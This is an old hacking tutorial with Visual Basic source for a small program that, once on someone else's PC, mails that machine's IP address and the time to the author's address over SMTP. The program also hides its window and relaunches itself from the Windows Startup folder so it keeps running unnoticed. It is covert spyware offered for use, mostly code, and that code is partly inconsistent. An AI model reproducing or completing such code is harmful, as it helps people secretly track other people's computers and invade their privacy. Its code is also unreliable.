1/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/4 Setting a PC up to send you their IP address. Kraek Kopf Kraek@tfz.net http://members.tripod.com/~hack_texts/ 1/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/4 Setting a PC up to send you their IP address. This text is going to show you how to write your own software for getting an IP address and mailing it to you. For this source you'll need a VB compiler, modem.bas, and wssock.bas. You need to create a timer that intervals every 5000 ms. Private Sub Timer2_Timer() If IsConnected = True Then Dim StartupData As WSADataType Dim rc Dim retval rc = WSAStartup(&H101, StartupData) form1.caption = AddrToIP(GetLocalHostName) If Me.WindowState <> 1 Then End If End If If IsConnected = False Then End If End Sub Next you need to tell it to connect to a SMTP server to send you the IP address. You can use the basic dofinger sub if you want. Private Sub DoFinger_Click() Dim rc As Integer Dim IPAddr As Long Dim MsgBuffer As String * 2048 Dim Regel As String Dim Bytes As Integer Dim Character As String Dim FromAddr As String Dim FromName As String Dim ToAddr As String Dim ToName As String Dim SelectOps As Long Text1.Text = "Connecting..." & Chr$(13) + Chr$(10) rc = WSAStartup(&H101, StartupData) If rc = SOCKET_ERROR Then Exit Sub IPAddr = GetHostByNameAlias(form1.caption) If IPAddr = -1 Then Text1.Text = "Can't Find Server... " + Text2 Exit Sub End If sock = Socket(AF_INET, SOCK_STREAM, 0) If sock = SOCKET_ERROR Then Text1.Text = "Cannot Create Socket." Exit Sub End If SocketBuffer.sin_family = AF_INET SocketBuffer.sin_port = htons(25) <-- Has to be 25 to connect to the smtp server SocketBuffer.sin_addr = IPAddr SocketBuffer.sin_zero = String$(8, 0) SelectOps = FD_READ Or FD_WRITE Or FD_CLOSE Or FD_CONNECT rc = connect(sock, SocketBuffer, Len(SocketBuffer)) ' Blocking Connection Request DoEvents If rc = SOCKET_ERROR Then Text1.Text = "Cannot Connect to ... Server." + _ Chr$(13) + Chr$(10) + _ GetWSAErrorString(WSAGetLastError()) closesocket sock rc = WSACleanup() Exit Sub End If DoEvents rc = ioctlsocket(sock, FIONBIO, True) ' Set Socket to non blocking if connection successful If rc = SOCKET_ERROR Then Text1.Text = "Cannot unblock socket... " + _ Chr$(13) + Chr$(10) + _ GetWSAErrorString(WSAGetLastError()) closesocket sock rc = WSACleanup() Exit Sub End If Timer1.Interval = 50 DoEvents cmdSend_Click End Sub You know need to make another timer called timer1. Private Sub Timer1_Timer() Dim Regel As String Regel = ReadLineFromSocket(sock) If Len(Regel) > 0 Then Text1.Text = Text1 + Regel & vbCrLf End If DoEvents End Sub Making a send sub is the next thing to do. Private Sub cmdSend_Click() Dim rc As Integer Dim IPAddr As Long Dim MsgBuffer As String * 2048 Dim Regel As String Dim Bytes As Integer Dim Character As String ' Dim FromAddr As String Dim FromName As String Dim ToAddr As String Dim ToName As String Dim SelectOps As Long Regel = "mail from:Whatever@nothing.com" + vbCrLf <-- Put your email address there rc = send(sock, ByVal Regel, Len(Regel), 0) Regel = "rcpt to: " + Text3 + vbCrLf rc = send(sock, ByVal Regel, Len(Regel), 0) Regel = "rcpt to: " + Text12 + vbCrLf rc = send(sock, ByVal Regel, Len(Regel), 0) Regel = "data" + vbCrLf rc = send(sock, ByVal Regel, Len(Regel), 0) Regel = "Time/Date: " + text13 + vbCrLf rc = send(sock, ByVal Regel, Len(Regel), 0) Regel = "IP Address: " + Text4 + vbCrLf rc = send(sock, ByVal Regel, Len(Regel), 0) Regel = "." + vbCrLf rc = send(sock, ByVal Regel, Len(Regel), 0) If rc = SOCKET_ERROR Then Text1.Text = "Cannot Send Request." + _ Chr$(13) + Chr$(10) + _ Str$(WSAGetLastError()) + _ GetWSAErrorString(WSAGetLastError()) closesocket sock rc = WSACleanup() Exit Sub End If Text7 = "1" Form1.Visible = False Beep Text8 = "" Text9 = "" End Sub Then when the sub is unloaded you want to make to program keep on running so just use a shell command to reopen the program. Shell ("c:\windows\startm~1\programs\startup\ipaddress.exe"), 1 1/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/4 Setting a PC up to send you their IP address. Kraek Kopf Kraek@tfz.net http://members.tripod.com/~hack_texts/ 1/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/41/4